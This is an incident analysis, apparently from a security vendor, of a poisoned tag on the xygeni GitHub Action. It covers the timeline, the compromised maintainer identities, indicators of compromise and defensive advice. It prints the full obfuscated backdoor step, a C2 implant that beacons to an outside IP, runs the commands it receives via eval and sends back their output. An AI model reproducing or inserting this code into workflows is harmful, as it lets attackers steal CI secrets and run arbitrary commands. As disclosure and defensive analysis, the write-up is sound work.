On March 3, 2026, an attacker with access to maintainer accounts and a GitHub App token injected a full command-and-control (C2) reverse shell into xygeni/xygeni-action, the official GitHub Action published by Xygeni and used in 137+ repositories.
The backdoor was disguised as a "scanner version telemetry" step. Three pull requests carrying the malicious code were opened and closed without merging — but the attacker also moved the v5 shortcut tag to point at the backdoored commit. As of this writing, the v5 tag is still poisoned. Anyone referencing xygeni/xygeni-action@v5 in their workflows is running a C2 implant.
Active threat: The v5 tag on xygeni/xygeni-action currently points to commit 4bf1d4e, which contains a C2 reverse shell that beacons to 91.214.78.178. If you use this action, pin to v6.4.0 or a specific commit SHA immediately.
What Happened
On March 3, 2026, three pull requests were opened against xygeni/xygeni-action in rapid succession, all carrying the same backdoor payload:
- PR #46 (10:22 UTC) — Opened by
nico-car, a legitimate long-time maintainer with commits going back to 2023. The commit was signed withfelix.carnicero@xygeni.io, a Xygeni employee email. Closed at 10:29 without merging. - PR #47 (10:41 UTC) — Also opened by
nico-car. Closed at 10:44 without merging. - PR #48 (10:45 UTC) — Opened by
xygeni-onboarding-app-dev[bot], a Xygeni-owned GitHub App. Notably,nico-carapproved this PR with the comment "Looks good, telemetry step verified." — further evidence of compromised credentials. The PR author now shows asghost(account deleted). Closed at 10:49 without merging.
All three PRs had the same title pattern ("add scanner version telemetry reporting") and an identical malicious payload in action.yml. The PRs were closed without merging — but the attacker also force-pushed the v5 mutable tag to point at the backdoored commit from PR #48.

The Backdoor: A Full C2 Reverse Shell
The payload was inserted as a new step called "Report Scanner Telemetry" in action.yml, positioned between the scanner installation and the actual scan. It uses heavily obfuscated variable names and runs in the background (&) so the legitimate scan proceeds normally — the user sees no difference in their workflow output.
Here's the malicious code with annotations:
- name: 'Report Scanner Telemetry'
shell: bash
run: |
# Report scanner version and environment for usage analytics
_xv=$($HOME/.xygeni/xygeni --version 2>/dev/null | head -1 || echo "unknown")
(
# C2 server endpoint (IP hidden behind nip.io DNS)
_e="https://security-verify.91.214.78.178.nip.io"
_k="X-B: sL5x#9kR!vQ2\$mN7" # Authentication header
_c(){ curl -sfk -m8 -H "$_k" "$@"; } # Helper: silent curl, skip TLS verify
# STEP 1: Register with C2 — sends hostname, username, OS info
_r=$(_c -X POST -H "Content-Type: application/json" \
-d "{\"h\":\"$(hostname -f)\",\"u\":\"$(id -un)\",\"o\":\"$(uname -sr) v${_xv}\"}" \
"$_e/b/in") || exit 0
[ -z "$_r" ] && exit 0
_b="${_r%%:*}" # Extract bot ID from response
# Encoder: compress + base64 command output
_enc(){ python3 -c "import sys,zlib,base64;sys.stdout.write(
base64.b64encode(zlib.compress(sys.stdin.buffer.read())).decode()
)" 2>/dev/null || base64|tr -d '\n'; }
# STEP 2: Poll for commands for 180 seconds
_t=$(($(date +%s)+180))
while [ "$(date +%s)" -lt "$_t" ]; do
_d=$(_c "$_e/b/q?b=$_b") || break # Fetch command
[ "$_d" != "-" ] && [ -n "$_d" ] && \
# STEP 3: Execute command and send results back
_c -X POST -H "Content-Type: application/json" \
-d "{\"b\":\"$_b\",\"r\":\"$(eval \"$_d\" 2>&1|_enc)\"}" \
"$_e/b/r" >/dev/null 2>&1
sleep $((RANDOM%5+2)) # Random delay (2-7s)
done
) & # Run in background
echo "::debug::Telemetry reported: $_xv" # Innocent-looking log lineThis is not a simple data exfiltration script. It's a full interactive C2 implant that:
- Registers with a command-and-control server at
91.214.78.178(hidden behind anip.iowildcard DNS record), sending the runner's hostname, username, and OS version - Polls for arbitrary commands every 2-7 seconds for 3 minutes
- Executes whatever the C2 server sends via
evaland returns the compressed, base64-encoded output - Runs silently in the background while the normal Xygeni scan proceeds
- Skips TLS verification (
curl -k) to avoid certificate errors - Uses an authentication header (
X-B: sL5x#9kR!vQ2$mN7) to prevent unauthorized access to the C2 endpoint
During those 3 minutes, the attacker could execute any command on the CI runner — steal environment variables (including GITHUB_TOKEN, XYGENI_TOKEN, and any other secrets), read source code, modify build artifacts, or pivot to other systems accessible from the runner.


The Real Attack: Tag Poisoning
The three PRs were a distraction — or perhaps failed attempts that were caught and closed by other maintainers. The real attack was moving the v5 tag.
GitHub Actions users commonly reference actions by major version shortcut tags:
# How most users reference the action:
uses: xygeni/xygeni-action@v5
# What this actually resolves to:
# Whatever commit the "v5" tag points toThe v5 tag is a mutable lightweight tag — anyone with write access can move it to point at any commit. The attacker moved it from the legitimate v5.38.1 release (commit ea66a5a) to the backdoored commit 4bf1d4e from PR #48's branch.
This means:
- No workflow file changes required — every repository already referencing
@v5silently started running the backdoor - No PR merge needed — the malicious commit doesn't need to be on the
mainbranch; tags can point to any commit in the repository - No visible change in the user's workflow — the action reference in their YAML file looks exactly the same
Current tag state (as of March 9, 2026)
v5→ commit4bf1d4e— COMPROMISED (C2 backdoor byxygeni-onboarding-app-dev[bot])v5.38.1→ commitea66a5a— Clean (legitimate release)v6/v6.4.0→ commit13c6ed2— Clean (post-incident release with checksum verification)


Compromised Credentials, Not an Outside Attacker
This was not a fork-based attack from an external account. The malicious PRs came from inside the Xygeni organization:
- PR #46: Commit signed with
felix.carnicero@xygeni.io(a Xygeni employee who has been merging PRs in this repo since 2022) - PR #47: Opened by
nico-car(a maintainer with commits to this repo since 2023, including the SAST scan upload feature) - PR #48: Opened by
xygeni-onboarding-app-dev[bot](a Xygeni-owned GitHub App)
Three different identities — two human maintainer accounts and one GitHub App — all used within a 23-minute window to push the exact same backdoor. This strongly suggests compromised credentials rather than a rogue insider: either the maintainer accounts were phished, their tokens were stolen, or the GitHub App's private key was compromised.
The rapid sequence (PR opened, closed 4-8 minutes later, new PR with same payload from different identity) suggests the attacker was racing to get the code in before being detected, switching identities when each attempt was blocked.
Post-incident response
Within 2 hours of the malicious PRs, the Xygeni team:
- Closed all 3 PRs without merging
- Deleted all workflows from the repository (commits
a7ab78aand6db3c3c)
Six days later (March 9), they released v6.4.0 with checksum verification for the scanner download and updated the README with SHA pinning guidance. However, the v5 tag was not fixed — it still points to the backdoored commit.

Responsible Disclosure
StepSecurity reported this compromise to Xygeni via responsible disclosure. However, given that the v5 tag remains poisoned and any repository referencing xygeni/xygeni-action@v5 is actively running the C2 implant, we are publishing this analysis in the interest of time to protect affected users.
Attack Timeline
March 3, 2026
- 10:21 UTC — Malicious commit
ceead6dcreated, signed withfelix.carnicero@xygeni.io - 10:22 UTC — PR #46 opened by
nico-car("feat: add scanner version telemetry reporting") - 10:29 UTC — PR #46 closed without merging
- 10:41 UTC — PR #47 opened by
nico-car("improvement: add scanner version telemetry reporting") - 10:44 UTC — PR #47 closed without merging
- 10:45 UTC — PR #48 opened by
xygeni-onboarding-app-dev[bot] - 10:49 UTC — PR #48 closed without merging
- ~10:49 UTC —
v5tag moved to backdoored commit4bf1d4e - 12:23 UTC — Maintainers delete
testing.ymlworkflow - 12:25 UTC — Maintainers delete remaining workflows (
main.yml,nightly-build.yml,testing-demo.yml)
March 9, 2026
- 08:49 UTC — Checksum verification added to scanner download
- 12:02 UTC —
v6.4.0released with SHA pinning guidance in README - 19:57 UTC — Issue #54 opened asking about the malicious code
v5tag still points to backdoored commit
Why Tag Poisoning Is So Dangerous
This attack exploits a fundamental design choice in GitHub Actions: mutable tags are the default way to reference actions. GitHub's own documentation recommends using major version tags like @v5 for convenience. But this means:
- A single tag push replaces trusted code for all consumers — no PR, no review, no notification
- The user's workflow file doesn't change —
uses: xygeni/xygeni-action@v5looks the same before and after the attack - Git history on
mainshows nothing — the malicious commit lives on a branch that was never merged; only the tag reference changed - Dependabot and Renovate won't flag it — they update version references, not detect tag mutations
This is the same attack vector that was exploited in the tj-actions/changed-files compromise in March 2025, where mutable tags on a popular action were pointed at malicious commits that exfiltrated CI/CD secrets from thousands of repositories.
StepSecurity's Harden-Runner was the first tool to detect the tj-actions/changed-files compromise by catching the unauthorized outbound network call from the poisoned action. The same runtime monitoring would have detected the C2 callback to 91.214.78.178 in this attack.
How to Protect Your Workflows
1. Pin actions to full commit SHAs, not tags
Tags are mutable. Commit SHAs are not. Always reference actions by their full SHA:
# DANGEROUS — mutable tag, can be silently replaced:
uses: xygeni/xygeni-action@v5
# SAFE — immutable commit reference:
uses: xygeni/xygeni-action@ea66a5ad3128270e853f46013be382e761d930b9 # v5.38.1StepSecurity's Orchestrate Security can automatically open pull requests to pin all your action references to commit SHAs across your repositories — enforcing pinning as policy rather than relying on developers to remember.
2. Use maintained actions instead of community actions
Even pinning to a commit SHA doesn't help if the action's source repository is compromised and a new malicious commit is introduced. StepSecurity offers Maintained Actions — verified, security-hardened forks of popular GitHub Actions that are independently maintained and audited. By using StepSecurity-maintained versions of common actions, you eliminate the risk of upstream compromise entirely.
3. Monitor network egress from CI runners
The backdoor's first action is a network call to 91.214.78.178. StepSecurity Harden-Runner monitors all outbound connections from GitHub Actions runners and blocks calls to unauthorized endpoints. The C2 callback would have been caught before the implant could register or receive commands.
Here is Harden-Runner in block mode detecting and blocking the C2 callback to security-verify.91.214.78.178.nip.io:


4. Block compromised actions before they run
StepSecurity's Compromised Actions Policy blocks workflow runs that reference known-compromised actions before they execute. When StepSecurity's threat intelligence identifies a poisoned action — like the xygeni-action@v5 tag in this incident — the policy prevents any workflow using it from running, stopping the attack at the gate rather than relying on runtime detection.
Here is the Compromised Actions Policy in action — the workflow run using xygeni-action@v5 was forcefully cancelled by @stepsecurity-app[bot] before the backdoor could execute:

5. Audit third-party actions before use5. Audit third-party actions before use
Even actions from security vendors can be compromised. Review the source code of any action you add to your workflows, and set up alerts for when action source code changes unexpectedly.
StepSecurity's Action Advisor helps you assess the risk of any third-party GitHub Action before you add it to your workflows. It scores actions on a 1–10 scale based on factors like maintainer activity, security best practices, and whether a StepSecurity-maintained alternative is available.

6. Detect imposter commits
In this attack, the malicious commit 4bf1d4e was never merged into the default branch, the v5 tag was simply moved to point at it. This same technique was used in the tj-actions and reviewdog attacks: tags were pointed at commits outside the default branch to bypass PR reviews entirely. And troublingly, many legitimate actions follow release processes that produce the same warning - making it difficult to distinguish a real attack from a quirky build pipeline.
StepSecurity's Harden-Runner includes Imposter Commit Detection that automatically alerts you whenever a workflow runs an action whose tag or commit SHA doesn't belong to any branch in the action's repository. Rather than relying on developers to manually check each commit on GitHub, Harden-Runner flags these cases in real time so you can catch both compromised tags and risky release patterns before they become a problem.

Indicators of Compromise
- C2 Server:
security-verify[.]91[.]214[.]78[.]178[.]nip.io(resolves to91[.]214[.]78[.]178) - C2 Endpoints:
/b/in(register),/b/q(poll commands),/b/r(return results) - C2 Auth Header:
X-B: sL5x#9kR!vQ2$mN7 - Poisoned Tag:
xygeni/xygeni-action@v5→ commit4bf1d4e19ad81a3e8d4063755ae0f482dd3baf12 - Malicious Commits:
ceead6d(PR #46, signed asfelix.carnicero@xygeni.io)2d615f4(PR #47, bynico-car)4bf1d4e(PR #48, byxygeni-onboarding-app-dev[bot])
- Malicious PRs: #46, #47, #48
- Compromised Identities:
nico-car,fcarnicero(email),xygeni-onboarding-app-dev[bot]


.png)
